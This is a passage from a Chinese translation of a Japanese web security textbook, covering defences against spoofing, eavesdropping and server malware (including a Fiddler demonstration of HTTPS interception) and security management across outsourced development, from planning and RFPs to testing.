欺骗攻击局限于在同一网段之内，所以在网段内不放置可能存在安全漏洞的服务器是其对策之一。也就是说，对同一网段的机器，不管其作用及重要程度如何，都应该一视同仁地实行安全漏洞防范措施。\n如果租用的服务器在同一网段内还有其他公司的服务器的话，最好向提供托管服务的公司咨询一下他们预防 ARP 欺骗攻击的情况。\n强化 DNS 运维\nDNS 是互联网最基本的服务之一，但仍然会经常由于配置错误或者漏洞导致 DNS 问题出现。如何去安全的管理、维护一个 DNS 服务器，可以参考下面我们罗列出来的 DNS 的书籍以及独立行政法人信息处理推进机构（IPA）的内容。另外，也可以考虑将来使用 DNSSEC。\nDNS 缓存污染攻击主要需要用户本身去防范，作为参考，我们一并将 DNS 缓存污染攻击的相关资料也列了出来。7\n关于域名注册和 DNS 服务器配置的注意事项\nhttp://www.ipa.go.jp/security/vuln/20050627_dns.html\nDNS 缓存污染攻击对策（正文为 PDF 格式）\nhttp://www.ipa.go.jp/security/vuln/DNS_security.html\n关于 DNS 缓存污染攻击漏洞的注意事项\nhttp://www.ipa.go.jp/security/vuln/documents/2008/200809_DNS.html\n注意关于 DNS 服务器的漏洞的再次提醒\nhttp://www.ipa.go.jp/security/vuln/documents/2008/200812_DNS.html\n7\n 中文的相关参考资料有：\n维基百科上关于“域名服务器缓存污染”的介绍：http://en.wikipedia.org/wiki/DNS_spoofing\nDNS 缓存投毒攻击原理与防御策略：http://www.chinacommunications.cn/fileup/PDF/2009-6-4-003.pdf\nDNS 相关的攻击介绍：http://www.freebuf.com/articles/network/17150.html\n ——译者注\n引入 SSL/TLS\nSSL（Secure Sockets Layer）和 TLS（Transport Layer Security）也是防范 Web 网站伪装攻击的有效对策。在下面的说明中我们把这两个词统称为 SSL。提起 SSL 大家的第一印象一般是用来进行加密通信的，但是它还有另一个重要的功能，就是通过第三方机构（Certification Authority，认证中心）来验证域名的合法性。如果 Web 网站的管理员和用户都能熟练的使用 SSL 的话，那么就可以通过 SSL 来达到防范网站伪装攻击的目的。\n作为网站的管理人员，正确使用 SSL 功能的第一步就购买合法的数字证书。购买了合法证书的网站域名会由认证中心来公证其合法性。即使 Web 网站被伪装攻击了，那么用户也可以通过浏览器的警示意识到访问了假冒网站。图 7-5 显示的是 Internet Explorer 9 的数字证书错误的页面。这也可以通过在本书的模拟环境提供的虚拟机中启动浏览器访问 https://example.jp/\n 来确认。\n图 7-5 访问证书有问题时网站的警告\n电子证书可以有效地对网站伪装攻击进行防范，但如果只是以抵抗钓鱼攻击为目的，则可以根据电子证书的种类不同采取不同的使用方式。现在能购买到的证书种类有以下几种，下面是按价格从低到高的顺序排列。\n域名认证证书\n组织认证证书\nEV-SSL 证书\n域名认证证书的组织名一栏里会显示域名本身，不会对组织名做认证。组织认证证书则会在组织栏里显示企业、团体名称，以及个人姓名等。EV-SSL 证书则会根据 CA/Browser Forum 制定的标准 8\n 对企业的真实性进行验证。\n8\nhttp://www.cabforum.org/documents.html\n使用 EV-SSL 会很容易分辨出伪装的网站。图 7-6 显示的是通过 HTTPS 协议访问 verisign 公司网站时的页面。这时候浏览器的地址栏会变成绿色，并且右侧多了一个带锁头图标的显示区域。锁头图标右侧就是以英语显示的企业名称等信息。\n图 7-6 EV-SSL 会验证企业信息的真实性\n在使用 EV-SSL 以外的证书的时候，需要自己确认所访问网站的域名是否正确。比较有名的网站由于其域名是众所周知的，所以也有不使用 EV-SSL 证书的，也许是他们认为普通的域名认证证书就已经足够了。根据证书的种类不同，购买时所需要的费用也不同，所以要根据自己网站的性质以及域名的认知程度，来综合考虑购买哪种证书。\n专栏：免费的数字证书\n服务器端数字证书里面域名认证证书相对来说价格较低，购入门槛也不高，同时也可以利用免费的域名认证证书。以色列的公司 StartCom 9\n 就是一个能免费提供域名认证证书的公司。StartCom 提供的证书，可以正常在 IE、Firefox、Google Chrome、Safari、Opera 等最新版的浏览器上使用，即使是 IE6，如果升级了也是可以使用的。\n由于这种免费的域名认证证书能正常用于域名认证以及加密通信，所以那些因成本原因不能采用正式 SSL 或者使用自己建立的认证中心（即自己署名的证书）的公司，可以考虑使用这种免费的电子证书。\n9\nhttp://www.startcom.org/\n使用便于记忆的域名\n针对钓鱼攻击，采用容易记忆的域名是很有效果的。所以，可以考虑使用下面列出的属性型域名。\n表 7-1 属性型域名\n运营服务组织\n域名种类\n企业运营服务\n.CO.JP\n政府机构服务\n.GO.JP\n地方团体服务\n.LG.JP\n教育机构服务\n.AC.JP或者.ED.JP\n申请这些属性型域名的时候，域名管理机构会对申请者是否满足申请条件进行审查，此外，还有 1 个团体只能申请 1 个域名的限制。所以可以认为这样的域名是不太容易用来作为恶意网站域名的。\n因此，更建议 Web 服务运营方选择上面所说的属性型域名，而不是像 .COM 这样的通用型域名。\n7.3 防范网络监听、篡改的对策\n本节将主要讨论一下 Web 网站的网络监听、篡改攻击的对策。首先还是会先对网络监听、篡改的方法进行说明，之后会讨论如何使用 SSL 来防范网络监听、篡改。\n7.3.1 网络监听、篡改的途径\n针对 Web 网站的监听及篡改主要通过以下方式实现。\n通过无线网进行监听、篡改\n在无线网中传输的数据，如果没有进行加密的话，则很有可能被网络监听到。网络监听发生的原因主要有（1）通信内容没有被加密；（2）使用了已被破解的诸如 WEP 等加密方法；（3）使用通用密码的公用无线网；（4）使用假的无线热点。如果攻击者设置假的无线热点，还可能轻易发动网络篡改攻击。\n利用交换机端口镜像\n在有线局域网里，有可能利用交换机的镜像端口实现网络监听。不过这种方法只会发生在攻击者能物理接触到网络硬件的条件下。但是即使交换机没有镜像端口，如果攻击者能修改交换机内部线路的话，也可以通过让通信经过中继 HUB 的方法来实现网络监听。\n利用代理服务器\n如果攻击者可以控制代理服务器的话，或者可以在网络中设置代理服务器的话，就可以通过让 HTTP 通信经过代理服务器来实现监听。而且，如果代理服务器支持的话，还可以实现对 HTTP 消息的篡改。本书实验用的 Fiddler 也是代理服务器的一种，也可以用来实现网络监听和篡改。\n伪装成 DHCP 服务器\n在使用 DHCP 的局域网环境中，可以通过伪装的 DHCP 服务器，来实现伪装 DNS 或者默认网关的 IP 地址的目的。一旦伪装成了默认网关的 IP 地址，就和 ARP 欺骗攻击一样，所有的网络通信都会通过伪装的网关服务器，可以轻而易举的实现网络监听和篡改。如果能伪装成 DNS 服务器的 IP 的话，那么就和下面要说到的 DNS 缓存污染一样，发起伪装攻击。\n使用 ARP 欺骗攻击和 DNS 缓存污染攻击（DNS cache poisoning）\n在前面作为网站伪装的方法我们已经介绍过了 ARP 欺骗攻击和 DNS 缓存污染攻击了，这两种方法同时也能被用来实现网络监听和篡改攻击。通过这些方法，攻击者会使用在自己管理下的路由器或者反向代理服务器来对用户通信进行中继，以实现网络监听及篡改的目的。\n7.3.2 中间人攻击\n前面提到的网络监听和篡改方式中，有一种方式利用了监听设备的中继功能。在这种中继型监听的环境下，即使是加密通信，也可能实现网络监听和篡改。这种方法被称为中间人攻击（Man-In-Th-Middle Attack，MITM）。\n下面的图显示了中间人攻击的大概示意。\n图 7-7 中间人攻击的例子\n中间人攻击如图 7-7 所示，攻击者在用户和目标网站之间接入自己的硬件设备，通过对用户和目标网站 HTTPS 通信的连接，来实现网络监听和篡改。图中通信部分虽然使用了 HTTPS 协议，但是中间人可以在中继器上进行一次解密操作，根据需要决定是否修改原内容，然后再次加密后发给对方。中间人攻击就是利用这样的方式实现了网络监听和篡改。\n使用 Fiddler 模拟中间人攻击\n为了加深对中间人攻击的理解，我们使用 Fiddler 来模拟一下如何进行中间人攻击。首先，启动 Fiddler 后，选择 Tools 菜单里的“Fiddler Options”，在弹出的对话框里选择“HTTPS”页。在这里，选中“Capture HTTPS CONNECTs”和“Decrypt HTTPS traffic”这两个复选框，如图 7-8 所示。\n图 7-8 将 Fiddler 设置为 MITM 模式\n选中了这两项后，会弹出如图 7-9 的对话框，在这个对话框里选择“No”。\n图 7-9 根证书的导入确认对话框\n这时候再去访问 HTTPS 网站，浏览器就会显示安全证书有问题的提示消息，忽略这个提示继续访问网站。Internet Explorer6（IE6）的话会弹出“是否继续”的对话框，点击“是”之后继续会访问 HTTPS 网站。IE7 及以后的版本，可以通过点击“继续浏览此网站（不推荐）”继续访问 HTTPS 网站。下图 7-10 就是这之后访问 verisign 的结果。\n图 7-10 访问 HTTPS 网站\n这时浏览器的地址栏变为粉红色，地址栏右边也出现了“证书错误”的提示。之后，就可以在 Fiddler 中查看监听到的通信内容了。当然，也可以在 Fiddler 中对 HTTP 通信消息进行修改。\n图 7-11 成功监听到 HTTPS 通信内容\n从上面的操作我们可以得出如下结论。\n即使是使用 SSL（HTTPS），通过中间人攻击也能实现网络监听和篡改\n中间人攻击时浏览器会出现数字证书错误的提示\n在中间人攻击中，对连接客户端通信的代理服务器（在这个例子里为 Fiddler）可以看作是一个 Web 服务器。浏览器显示的数字证书错误，相当于是提示了存在中间人攻击的可能。此外，在没有使用正式的证书而是使用自己署名的证书，或者证书的域名不一致、证书过期等情况下，浏览器也会提示证书错误。这时候就不能区分是证书有问题了还是中间人攻击导致的。\n专栏：请不要手动安装证书\n在上面使用 Fiddler 模拟中间人攻击的例子里，我们在图 7-9 的对话框里选择了“No”，如果选则了“Yes”的话会怎样呢？选择“Yes”的话，就像对话框里提示的那样，会将 Fiddler 生成的根证书导入到 Windwos，这时候在 MITM 模式下，浏览器也不会显示证书错误了。由于这时候 Fiddler 被 IE 所信赖，所以经过 Fiddler 的 HTTPS 通信在浏览器都不会显示错误。\n由于这属于比较危险的行为，所以在图 7-9 里我们选择了“No”进行模拟实验。与此相同，如果个人电脑感染了间谍软件（Spyware）也可能出现这种问题。那样的话，SSL 就不能发挥域名认证的作用了。\n也有一些网站会要求手动导入根证书，这同样是很危险的行为。应该使用浏览器里保存的正规合法的根证书，或者通过 Windows Update 等安全的方式导入的根证书。\n但是这只是适用于网络上提供服务的正式网站，如果是公司内部自建的 CA 的话（私有 CA）则不受此约束。私有 CA 和自己署名证书的区别，可以参考高木浩光的 Blog 文章“PKI 常见误区（3）如果私有认证中心安全的话那么自署名证书也是安全的”9\n9\n 高木浩光 .（2005 年 2 月 5 日）.PKI よくある勘違い (3)「ブライベート認証局が妥当ならオレオレ認証局も妥当だ」（PKI 常见误区（3）如果私有认证中心安全的话那么自署名证书也是安全的）. 参考日期：2011 年 1 月 13 日，参考网址：高木浩光 @ 自宅日记：http://takagi-hiromitsu.jp/diary/20050205.html#p02\n7.3.3 对策\n合理利用正规的数字证书加 SSL 通信，就可以有效的预防网络监听和篡改。此外，在运用中有以下几点需要注意。\n使用 SSL 时的注意事项\n从输入页面就开始使用 HTTPS\n这是因为如果输入页面被篡改的话，就不能保证后续的网页能正常的进行 SSL 加密通信了。\n注意 Cookie 的 secure 属性（参考 4.8.2 节）\n图像或者 CSS、JavaScript 等也需要使用 HTTPS\n如果图像被篡改了，就等于显示的页面也被篡改了。JavaScript 被篡改的话，就可能通过 JavaScript 代码进一步篡改页面内容。如果页面里的内容既有 HTTP 也有 HTTPS 的话，那么浏览器就会弹出如图 7-12 的那样提示框。\n图 7-12 浏览器弹出的提示框\n不使用 frame 和 iframe\n如果外层的 frame 没有使用 HTTPS 的话，那么浏览器的地址栏里也不是 HTTPS 的网址，所以不能简单地通过眼睛来确认（内部 frame）是否正在使用 HTTPS。此外，如果 frame 的源文件地址链接被替换了的话，那么整个页面的内容也会被替换。所以最好的选择就是不使用 frame 和 iframe，在不得不使用的情况下，则要将所有的资源都放在 HTTPS 下。\n让浏览器在默认设置下不显示错误提示\n我们需要保证应用程序在不修改浏览器默认的“使用 SSL 2.0”“对证书地址不匹配发出警告”等设置时也不让浏览器提示错误。由于 SSL2. 在协议本身存在缺陷，所以需要在服务器端设置不使用 SSL2.0。另外，如果将“对证书地址不匹配发出警告”设置为无效的话，那么域名认证功能将会失效，服务器的数字证书也就失去了存在的意义。如果使用正规的域名和证书，那么浏览器也就不需要做额外的设置了。\n不隐藏地址栏\n不隐藏状态栏\n不屏蔽鼠标右键菜单\n这 3 条措施都是为了让用户方便确认证书有效性。因为标识证书有效性的小锁头标记会显示在地址栏或者状态栏里，也能通过右键菜单来确认证书的有效性，所以不能把这些项目隐藏或者禁止。\n专栏：SSL 认证标签\n有一些证书提供商会给用户提供证明用户合法性的标签（或叫作图标，一段可以嵌入到用户网页的 HTML 代码）。访问者在点击这个标签后，即转到证书提供商的页面，在这个页面里会显示证书的内容、期限和组织名称等信息。\n但是这个认证标签很容易被伪造。虽然有类似“点击标签确认是否安全”的提示说明，但是攻击者的网站有可能显示的是伪造的证书认证标签，关于这个标签的真伪也需要花时间去确认。要确认的内容包括现在浏览的网站的域名，以及浏览器是否显示了证书错误等。\n如果浏览者能做上面这样的确认，那么应该也能够对使用了证书的原网站作出真伪鉴别。所以说与其花时间去确认证书认证标签的真伪，还不如确认网站本身的真实性，这样更快一些。\n证书认证标签的问题不仅如此。由于这些认证标签一般会使用 JavaScript 或者浏览器插件来编写，所以如果标签本身存在 XSS 等漏洞的话，也会对嵌入证书认证标签网站的安全性代理产生不利影响。从这点意义上来说，证书认证标签不但没有降低系统的风险，反而是增加了安全隐患。\n建议大家在确定了由证书认证标签带来的好处大于由此带来的风险时，才在网站上显示 SSL 证书的认证标签。\n参考文献\n[1] 高木浩光 . (2005 年 2 月 5 日 ). PKI よくある勘違い（3）「プライベート認証局が妥当ならオレオレ認証局も妥当だ」.参考日期：2011 年 1 月 13 日，参考网址：高木浩光＠自宅の日記 : http://takagi-hiromitsu.jp/diary/20050205.html#p02\n7.4 防范恶意软件的对策\n本节中我们将说明 Web 网站的恶意软件（病毒等非法软件）防范对策。首先介绍一下预防服务器端的恶意软件有什么意义，然后再详细说明具体的对策。\n7.4.1 什么是 Web 网站的恶意软件对策\nWeb 网站的恶意软件对策主要防范以下情况。\n（A）Web 服务器自己感染恶意软件\n（B）通过 Web 网站传播恶意软件\n无论是（A）还是（B），恶意软件都是保存在服务器上的，不同的是（A）的情况下，恶意软件在服务器上运行，而（B）的话恶意软件并不在服务器上运行，而是指用户可以通过网页下载的状态。\nWeb 服务器如果感染了恶意软件的话，带来的威胁和 OS 命令注入攻击一样。比如可能存在如下的威胁。\n信息泄露\n网站被篡改\n非法使用其他功能\n作为跳板对其他服务器发起攻击\n如果 Web 服务器出现（B）的情况的话，则会带来如下影响。\n浏览网页的用户 PC 可能会感染恶意软件 10\n10\n 前提是用户 PC 存在漏洞或者恶意软件被执行。\n下面，我们再来看看恶意软件都是如何感染的。\n7.4.2 恶意软件的感染途径\n根据独立行政法人信息处理推进机构的调查 11\n ，病毒的感染途径主要如图 7-13 所示。从图中可以看出，病毒的感染途径中电子邮件占了 45.2%，上网占了 48.3%，外置存储（U 盘、移动硬盘等）和外部设备（带入本公司的客户 PC 等）占了 48%（调查为多项选择）。\n11\n 2009 年日本国内信息安全事件受害情况调查报告地址 http://www.ipa.go.jp/security/fy21/reports/isec-survey/\n 。\n图 7-13 个人电脑病毒的入侵途径\n从上面的调查结果可以看出，通过在电脑上浏览网页或者查看邮件，以及使用外置存储设备等途径传播、感染病毒的情况较多。但是在 Web 服务器上一般不会做这样的操作，所以 Web 服务器感染病毒的途径中，利用系统漏洞的比例很高。\n一般情况下谈到恶意软件的解决方法，肯定很多人会先想到用防病毒软件，但是在 Web 服务器上安装防病毒软件的比率还不是特别高。其原因就是服务器上感染恶意软件的途径和普通的客户端 PC 有所不同。\n7.4.3 Web 网站恶意软件防范对策概要\n从感染途径这一出发点来说，Web 服务器上的防范恶意软件措施有以下几点非常重要。\n按时进行服务器的漏洞应对处理\n不在服务器上安装、运行来历不明的软件\n在服务器上不做无关操作（浏览网页或者查看邮件等）\n不在服务器上使用 USB 等外部存储设备\n将 Web 服务器和公司内部网络分离开\n访问服务器的客户端 PC 安装防病毒软件并保持病毒库为最新状态\n在客户端 PC 通过 Windows Update 等方式安装最新的安全补丁\n首先建立能切实执行上述对策的体制，如果对上面的措施仍感到不安（比如不能适时实施漏洞对策等）的话，再考虑在服务器上安装防病毒软件。\n7.4.4 如何确保服务器不被恶意软件感染\nWeb 服务器感染恶意软件的途径一般来说有如下几种。\n利用 Web 应用的文件上传漏洞（参考 4.12 节）\n利用 Web 网站的漏洞进行网站内容篡改（参考 7.1 节）\n利用 FTP 等管理软件非法登录（参考 7.1 节）\n管理服务器的 PC 感染了恶意软件，服务器被 PC 感染（参考 7.4.3 节）\n网站内容被恶意软件感染（参考 7.4.3 节）\n这些感染途径中，除了利用文件上传功能漏洞以外，其他的都可以用本章到目前为止所讲述的方法进行防范。关于利用文件上传漏洞的预防，可以按照后面要讲到的方法进行防范。\n探讨是否需要制定针对恶意软件的防范措施\n用户上传文件（图片、免费软件、PDF 文档等）的恶意软件对策的责任，应该由以下三者共同承担。\nWeb 网站运营者\n上传文件的用户\n下载、查看文件的用户\n网站需要根据自己网站的特点来决定是否采取防病毒措施。具体来说可以根据以下项目进行判断。\n上传文件的公开范围\n上传文件是否有明确的责任人\n谁对上传文件负主要责任\n除了防病毒软件以外是否还有其他检查方法\n制定病毒防范政策并向用户公开\n在决定了是否要对恶意软件采取措施之后，应该以网站用户规约的形式把防范措施（也包括不采取任何防范措施）向网站用户公开并实施。需要公开的内容可以包括以下几条。\n防范病毒的方法（不做病毒防范的时候也直接标明）\n不可能查出全部的病毒，感染病毒的可能性也不是零（采取了防病毒措施的时候）\n用户需要自己负责（推荐用户使用防病毒软件并保持病毒库为最新状态）\n作为网站运营方不对用户感染病毒负责任\n上面这些条目都是一般性的内容，各网站应该根据自己的特点，制定出符合自己实际情况的病毒防范政策。\n使用防病毒软件\n要想对用户上传的文件进行病毒扫描，可以采取的方法有下面几种。\n在服务器上安装防病毒软件，将文件上传目录设置为扫描对象\n使用防病毒网关\n利用防病毒软件提供的 API 在自己的代码里进行病毒扫描\n详细的信息可以向防病毒软件公司或者代理商咨询。\n如果由网站进行病毒检查，可以借鉴一下微软的免费网盘 Windows Live SkyDrive12\n ，请参考下面的网站截图 13\n 。\n12\nhttps://skydrive.live.com\n13\n 页面现实的文件 eicar.com 并不是真正的病毒文件，而是用来测试防病毒软件的测试文件。可以在 http://www.eicar.org/86-0-Intended-use.html\n 下载。\n图 7-14 Web 侧进行病毒扫描的例子（Windows Live SkyDrive）\n专栏：Web 网站的防病毒对策和 Gumblar 的关系\n本章讲到的一些防病毒软件对策，对抵御 Gumblar 也有很好的效果。\n“Gumblar”是一种组合了 Web 网页篡改和通过浏览网页感染（仅浏览网页就会被感染的病毒）两种方法的一种病毒传播方式。\nGumblar 为了扩大病毒传播范围，会盗取 FTP 用户名和密码，然后再用这些账号信息去篡改网站内容，进而再去感染浏览这些网站的用户。\n如果采用了本章所介绍的安全防范措施，使用公钥认证的 SCP 或 SFTP 代替传统的 FTP，再加上访问 IP 限制，就可以预防非法登录攻击了。而且如果客户端 PC 安装了防病毒软件的话，客户端也就可以避免被病毒感染了。\n本章介绍的对策虽然都是最基本的内容，但是如果熟练使用这些方法的话，自然也能抵御 Gumblar。\n关于 Gumblar 的详细信息，可以参考 http://www.ipa.go.jp/security/txt/2010/02outline.html\n [1]。\n参考文献\n[1] 独立行政法人信息处理推进机构（IPA）.（2010 年 2 月 3 日）. コンピュータウィルス·不正アクセスの届出状況 [1 月分 ] について（个人电脑中毒情况报告 [1 月份 ]）. 参考日期：2010 年 12 月 2 日，参考网址：情報処理推進機構：http://www.ipa.go.jp/security/txt/2010/02outline.html\n COLUMN END\n7.5 总结\n围绕如何提高 Web 网站的安全性，本章主要从以下方法进行了说明。\n针对 Web 服务器漏洞的对策\n由管理软件导致的非法登录对策\n防范伪装攻击的对策\n防范网络监听、篡改的对策\n防范恶意软件的对策\n上面提到的每种方法都是非常常见的针对 Web 网站攻击方法的防范措施。这些服务器对策以及应用程序本身的安全防范措施，都是确保网站安全性所必须采取的措施。请各位参考本章的内容来提高网站的安全性。\n另外，关于如何防范钓鱼攻击，也请参考独立行政法人产业技术综合研究所的“建立安全 Web 网站的铁则”[1]。\n参考文献\n[1] 独立行政法人产业技术综合研究所 .（2007 年 3 月 23 日）. 信息安全研究中心 . 参考日期：2010 年 12 月 4 日，参考网址：安全な Web サイト利用の鉄則（建立安全 Web 网站的铁则）：http://www.rcis.aist.go.jp/special/websafety2007/\n第 8 章 开发安全的 Web 应用所需要的管理\n本章将讲解开发安全的 Web 应用所需要进行的管理工作。这一章主要是面向发包方（甲方）的相关人员，以及实际进行开发（承包方，乙方）的项目经理。\n8.1 开发管理中的安全对策概要\n开发管理可以从开发体制和开发过程两方面进行控制。\n图 8-1 从软件开发中发包方和承包方的立场，按照开发过程的各个阶段（从规划、招标直到运维），对在开发中涉及安全性的关键因素进行了整理。首先，需要在开发开始之前先制定开发体制，因此制定开发标准、培养信息安全责任人、对开发团队进行安全教育就显得尤为重要。图 8-1 描述了项目双方在开发过程中各个阶段重要注意的事项。\n图 8-1 开发安全的应用程序需要的管理概要\n8.2 开发体制\n完备的开发体制对于开发安全的应用来讲至关重要。一个好的开发体制，要从开发标准等文档（物）和训练有素的团队（人）两方面着手。\n开发标准的制定\n就笔者的咨询经验来看，对于开发安全的应用来说，性价比最高的措施就是整理出一份好的开发标准（安全指南）了。一个好的开发标准需要满足以下条件。\n不能太厚（只限于实用性较高的项目）\n方便查找想参考的内容\n明确记载应该实施的措施\n持续改进\n虽然制定开发标准的企业越来越多，但笔者曾看到过开发标准很多都是厚厚的一个大文件夹，而且内容都很抽象，阅读起来都很费力。开发标准是给开发工程师阅读的，因此只选取最有用的标准，将它做得薄一些，对降低开发成本也能起到一定的作用。\n另外即使开发本身不在本公司内进行而是承包给其他公司，也应该制定一份开发标准，在招标的时候作为安全性需求附件提供给投标方。这样也能取得很好的效果。\n在开发标准中应该记载下面列出的一些重要项目。\n针对每种漏洞的对应方法\n用户认证、会话管理、日志输出等实现方法\n各个阶段的评审（Review）和测试方法（时间、人员、对象、方法）\n项目验收（发布）评判标准（人员、时间、具体合格标准）\n教育培训\n虽然很多企业制定了开发标准，但遗憾的是就现在能真正使用这些开发标准的企业还很少。究其原因无外乎是之前讲过的，要么是因为开发标准的内容不太现实，要么就是团队（或公司）还没有建立一个能严格遵守开发标准的组织框架。\n为了能按照开发标准进行开发，需要遵循以下一些要点。\n开发标准本身的内容（参考上面内容）\n在团队内展开开发标准培训\n通过设计评审、代码评审来检查开发标准的执行情况\n其中，关于开发标准培训中培训内容的关键点有以下几点。\n事件、事例的介绍（提高大家对安全性的重视程度）\n常见漏洞的原理及其影响\n必须遵守的事项\n此外每个团队最好都能培养出自己团队内部的安全责任人。安全负责人的主要职责包括以下几点。\n制定、维护开发标准\n展开开发标准培训\n参加评审\n进行安全测试\n监测各种漏洞信息\n以安全负责人为中心，不断地完善开发标准的同时，持续对开发团队进行安全培训，就会提高团队开发出安全应用程序的能力。\n8.3 开发过程\n本节我们将对开发安全应用程序的开发流程进行说明。以下说明中虽然都是以应用程序外包开发为例，但是自己公司内部开发时，除了角色担当不同之外，其所需要实施的内容都是一样的。\n8.3.1 规划阶段的注意事项\n在规划阶段非常重要的一件事就是要确保开发中和安全性相关的内容的预算。\n要做预算的话必须先对安全性需求的整体内容进行讨论。把应用程序开发外包时，或者需要从外部调配安全产品时，可以在规划阶段制作 RFI（Request For Information，信息提供要求书），向承包商提供应用程序的概要和重要信息列表，并要求承包商提供关于提高系统安全性所需要的对策及大概的预算等信息。RFI 同时也可以作为对承包商的第一次审查，可以在这个阶段去评价承包商的意欲与能力。\n8.3.2 招标时的注意事项\n招标时会由发包方编写 RFP（Request For Proposal，需求建议书），让承包方据此进行估算并投标。关于安全性的功能需求也需要写在 RFP 中。由于 RFP 是进预算的前提，所以在 RFP 中明确记载安全性需求是非常重要的。\n这里我们需要将安全性功能（需求）和安全性 Bug 分开考虑。首先安全性功能需求的成本投入和效果是成正比的，我们需要基于规划阶段的讨论结果来决定是否需要实现这些安全性功能并记录到 RFP 中。\n另一方面，对安全性 Bug 的需求往往是很模糊的内容，即使记述到 RFP 中，如果不能通过测试来验证的话，也没有意义的。关于安全性 Bug，可以考虑像下面这样向承包商提出比较具体的要求。\n列举出需对应的漏洞的名称\n明确标明验收方法和验收标准\n如果有需要追加的对策则要求承包商作出相应提案\n要求承包商提供安全性能测试方法的说明，并将测试结果作为项目交付物提交\n明确项目验收后发现的漏洞的应对方法及费用承担情况\n要求承包商对开发体制做出说明\n要求承包商提供开发标准和安全性测试报告书样本\n专栏：谁应该对安全漏洞负责？\n安全漏洞的责任在于发包方，还是承包方，这是个问题。笔者认为在这种将项目委托给承包方进行开发的体制中，风险的责任应该由发包方来承担。原因是需求文档是由发包方提供给承包方的，而且法律上也没有对关于开发的应用程序中出现漏洞时的责任做出明确的规定1\n 。\n另外，经济产业省刊发的《信息系统、交易模型与合同（模型合同）》[1] 中有以下的描述。\n关于和本软件相关的安全方面的对策，包括具体的功能、遵守方法、管理体制以及费用承担等在其他条款另行约定（参考第 50 条）。当架构设计（系统设计）里包含安全性功能需求时，（发生的问题）则符合“与系架构设计不一致”，属于本条所描述的“缺陷”问题。\n也就是说，系统设计文档里中没有明确记载的内容不能算作缺陷2\n 。因此，站在发包方的立场考虑，为了自我保护就必须在合同和需求文档中明确标明安全性方面的要求。\n那是不是承包方在客户没有明确提出安全上的相关需求时，就可以不做任何安全对策了呢？笔者并不这么认为。笔者认为至少要对安全漏洞采取必要的措施。作为承包方，即便是客户方没有明确要求，也应该对安全性的重要性进行说明，并努力让安全需求得到客户理解，并将其写入 RFP 中。所以，回答规划阶段 RFI 的安全性问题并强调其重要性是非常重要的。\n1\n 个人信息保护法是针对 Web 应用的运营方（即发包方）的规定。并且软件不属于制造物责任法所限制的对象范围内。关于制造物责任法可以参考 http://www.consumer.go.jp/kankeihourei/seizoubutsu/pl-j.html\n2\n 模型合同的“安全对策”指的就是本书所述安全性功能需求，而不是指安全性漏洞。\n8.3.3 需求分析时的注意事项\n在需求分析及以后的开发阶段，工作的主体就转换到承包方了。在需求分析中，也需要分别对安全性功能和安全漏洞进行整理。\n首先，需要发包方在需求中对安全功性能进行定义。\n其次，笔者建议在应对安全漏洞这个问题上以承包方（实际进行开发的公司）的开发标准为基础。如果不遵循开发公司平常所使用的标准的话，则需要对开发者进行再培训，这样必然导致开发成本上升。通过对比顾客的 RFP 或需求文档中所记载的安全要点和承包方的开发标准，进行匹配度分析，如果发现自己开发标准中不合适的地方则进行相应的补充，逐渐完善项目的开发标准（如图 8-2）。\n图 8-2 以承包方的开发标准为基础做成的项目开发标准\n在进行需求分析时，讨论重心除了上图 8-2 的内容之外，还应包括下述内容。\n用户认证、账号管理、授权管理方面的需求（参考 5.1～5.3 节）\n日志管理方面的需求（参考 5.4 节）\n其他安全性功能需求\n选择基础软件和确定打补丁的方法（参考 7.1.3 节）\n分析开发标准和安全性需求间的差距\n8.3.4 概要设计的推进方法\n本节主要对概要设计的推进方法进行说明。安全性功能与普通的功能要点一样，只要严格执行瀑布式的设计、开发、测试就可以了。\n关于安全性 Bug 的处理，我们要把需求分析时所确定的开发标准进行细化，一直细化到可直接写代码的水平，然后根据安全测试方法记录到架构设计书中。\n在概要设计阶段需要实施的项目主要有以下几项。\n对安全性功能进行细化\n对开发标准进行细化，确定测试方法\n在界面设计时对安全功能进行确认\n罗列出需要进行 CSRF 对策的页面\n罗列出需要使用 HTTPS 的页面\n8.3.5 详细设计和编码阶段的注意事项\n详细设计阶段之后的工作就是按照概要设计进行设计和开发。每个阶段都要进行设计评审、代码评审，以检查是否严格遵守了开发标准和开发方法。虽然评审过程可以省略，但我们在这里建议一定要执行评审过程。\n8.3.6 安全性测试的重要性及其方法\n无论是安全性 Bug 还是安全性功能需求，最终都要通过测试来验证开发出的产品是否满足需求。发包方也要在验收的时候进行安全性测试。\n实施安全性测试（也可以称为漏洞检查、漏洞诊断）的方法有如下几种：\n委托专家进行漏洞诊断\n使用专业工具进行诊断\n进行自我诊断\n专家诊断的特点是检查精度高，漏洞导致的影响报告详细，但所花费成本比较高 3\n 。\n3\n 本书都是基于实际情况写的，实际上各个专家厂商的能力和价格相差很大。\n在 Web 应用程序漏洞检查工具中，比较有名的是 IBM 的 Rational AppScan，HP 的 HP WebInspect software 等 4\n ，但这两个工具都需要至少数百万日元（相当于十几到数十万人民币）的初期投入。最近无论是承包公司还是发包公司，有越来越多的公司都用漏洞检查工具来对本公司的 Web 应用实施安全性测试。\n4\n 还有三个开源软件也比较常用：\nWebScarab: https://www.owasp.org/index.php/Category:OWASP_WebScarab_Project\nOpenVAS: http://www.openvas.org/index.html\nw3af: http://w3af.org/\n ——译者注\n关于最后的自我诊断方法，由于之前没有太多公开的关于安全测试的方法等信息，所以很多公司不知道如何去实施安全性测试。作为安全性诊断的方法，我们下面以地方自治信息中心发布的“Web 健康诊断基准”为例进行介绍。\n8.3.7 Web 健康诊断基准\nWeb 健康诊断是地方自治信息中心（LASDEC）面向地方公共团体实施的 Web 网站进行的漏洞诊断。这是一种为了判断是否需要更精确的漏洞诊断而进行的一种简易检查方法。检查的基准公布在了 LASDEC 的主页（https://www.j-lis.go.jp/lasdec-archive/cms/12,23183,84.html\n ）。\n这个 Web 健康诊断基准可以广泛用来对 Web 应用进行安全性检查，其特征如下。\n覆盖危险程度较高的 12 项漏洞\n明确定义了诊断基准、判断标准、抽样标准\n通过 Fiddler 等免费工具即可进行诊断\n是以正式网站为对象，安全性较高的诊断基准\n不对漏洞的影响程度和影响范围做判断\n只是简易的检查，不做深度检查\n下图 8-3 是 Web 健康诊断基准里面关于 SQL 注入攻击和跨站脚本攻击的检测示例。\n图 8-3 Web 健康诊断基准\nWeb 健康诊断实际上是抽样检查，抽样标准也是公开的，使用这些检测模式就可以对应用程序做整体测试。图 8-4 是利用 Web 健康诊断基准进行的系统安全检查的示例。\n如下图所示，利用 Web 